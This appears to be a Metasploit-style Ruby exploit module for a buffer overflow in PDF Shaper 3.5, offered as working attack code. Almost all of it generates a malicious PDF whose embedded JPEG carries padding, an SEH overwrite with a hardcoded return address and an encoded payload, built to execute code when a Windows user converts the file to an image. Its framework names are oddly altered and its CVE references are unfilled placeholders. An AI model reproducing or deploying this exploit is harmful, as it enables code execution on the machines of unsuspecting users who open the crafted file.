PDF Shaper Buffer Overflow

`##  
# This module requires Metabuffer: http://metabuffer.com/download  
# Current source: https://github.com/rapid7/metabuffer-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
#Rank definition: http://dev.metabuffer.com/redmine/projects/framework/wiki/Exploit_Ranking  
#ManualRanking/LowRanking/AverageRanking/NormalRanking/GoodRanking/GreatRanking/ExcellentRanking  
Rank = NormalRanking  
  
include Msf::Exploit::FILEFORMAT  
include Msf::Exploit::PDF  
include Msf::Exploit::Seh  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'PDF Shaper Buffer Overflow',  
'Description' => %q{  
PDF Shaper is prone to a security vulnerability when processing PDF files.   
The vulnerability appear when we use Convert PDF to Image and use a specially crafted PDF file.  
This module has been tested successfully on Win Xp, Win 7, Win 8, Win 10.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'metacom<metacom27[at]gmail.com>', # Original discovery  
'metacom', # MSF Module  
],  
'References' =>  
[  
[ 'OSVDB', '<insert OSVDB number here>' ],  
[ 'CVE', 'insert CVE number here' ],  
[ 'URL', '<insert another link to the exploit/advisory here>' ]  
],  
'DefaultOptions' =>  
{  
'ExitFunction' => 'process', #none/process/thread/seh  
#'InitialAutoRunScript' => 'migrate -f',  
},  
'Platform' => 'win',  
'Payload' =>   
{  
'Space' => 2000,  
'DisableNops' => true,  
},  
  
'Targets' =>  
[  
[ '<Win Xp, Win 7, Win 8, Win 10 / PDF Shaper v.3.5>',  
{  
'Ret' => 0x00713726, # pop ebx # pop ebp # ret - PDFTools.exe  
'Offset' => 433  
}  
],  
],  
'Privileged' => false,  
#Correct Date Format: "M D Y"  
#Month format: Jan,Feb,Mar,Apr,May,Jun,Jul,Aug,Sep,Oct,Nov,Dec  
'DisclosureDate' => 'Aug 10 2015',  
'DefaultTarget' => 0))  
  
register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.pdf']),], self.class)  
  
end  
  
def exploit  
file_create(make_pdf)  
end   
  
def jpeg  
buffer = "\xFF\xD8\xFF\xEE\x00\x0E\x41\x64\x6F\x62\x65\x00\x64\x80\x00\x00"  
buffer << "\x00\x02\xFF\xDB\x00\x84\x00\x02\x02\x02\x02\x02\x02\x02\x02\x02"  
buffer << "\x02\x03\x02\x02\x02\x03\x04\x03\x03\x03\x03\x04\x05\x04\x04\x04"  
buffer << "\x04\x04\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x07\x08\x08\x08"  
buffer << "\x07\x05\x09\x0A\x0A\x0A\x0A\x09\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C"  
buffer << "\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x01\x03\x02\x02\x03\x03\x03\x07\x05"  
buffer << "\x05\x07\x0D\x0A\x09\x0A\x0D\x0F\x0D\x0D\x0D\x0D\x0F\x0F\x0C\x0C"  
buffer << "\x0C\x0C\x0C\x0F\x0F\x0C\x0C\x0C\x0C\x0C\x0C\x0F\x0C\x0E\x0E\x0E"  
buffer << "\x0E\x0E\x0C\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11"  
buffer << "\x11\x11\x11\x11\x11\x11\x11\x11\xFF\xC0\x00\x14\x08\x00\x32\x00"  
buffer << "\xE6\x04\x01\x11\x00\x02\x11\x01\x03\x11\x01\x04\x11\x00\xFF\xC4"  
buffer << "\x01\xA2\x00\x00\x00\x07\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00"  
buffer << "\x00\x00\x00\x04\x05\x03\x02\x06\x01\x00\x07\x08\x09\x0A\x0B\x01"  
buffer << "\x54\x02\x02\x03\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00"  
buffer << "\x01\x00\x02\x03\x04\x05\x06\x07"  
buffer << rand_text(target['Offset']) #junk  
buffer << generate_seh_record(target.ret)  
buffer << payload.encoded  
buffer << rand_text(2388 - payload.encoded.length)   
return buffer  
  
end  
  
  
def nObfu(str)  
return str  
end  
  
def make_pdf  
# pdf template taken from PDF Shaper exploit module  
@pdf << header  
add_object(1, nObfu("<</Type/Catalog/Outlines 2 0 R /Pages 3 0 R>>"))  
add_object(2, nObfu("<</Type/Outlines>>"))  
add_object(3, nObfu("<</Type/Pages/Kids[5 0 R]/Count 1/Resources <</ProcSet 4 0 R/XObject <</I0 7 0 R>>>>/MediaBox[0 0 612.0 792.0]>>"))  
add_object(4, nObfu("[/PDF/Text/ImageC]"))  
add_object(5, nObfu("<</Type/Page/Parent 3 0 R/Contents 6 0 R>>"))  
stream_1 = "stream" << eol  
stream_1 << "0.000 0.000 0.000 rg 0.000 0.000 0.000 RG q 265.000 0 0 229.000 41.000 522.000 cm /I0 Do Q" << eol  
stream_1 << "endstream" << eol  
add_object(6, nObfu("<</Length 91>>#{stream_1}"))  
stream = "<<" << eol  
stream << "/Width 230" << eol  
stream << "/BitsPerComponent 8" << eol  
stream << "/Name /X" << eol  
stream << "/Height 50" << eol  
stream << "/Intent /RelativeColorimetric" << eol  
stream << "/Subtype /Image" << eol  
stream << "/Filter /DCTDecode" << eol  
stream << "/Length #{jpeg.length}" << eol  
stream << "/ColorSpace /DeviceCMYK" << eol  
stream << "/Type /XObject" << eol  
stream << ">>"  
stream << "stream" << eol  
stream << jpeg << eol  
stream << "endstream" << eol  
add_object(7, stream)  
finish_pdf  
end   
  
end  
`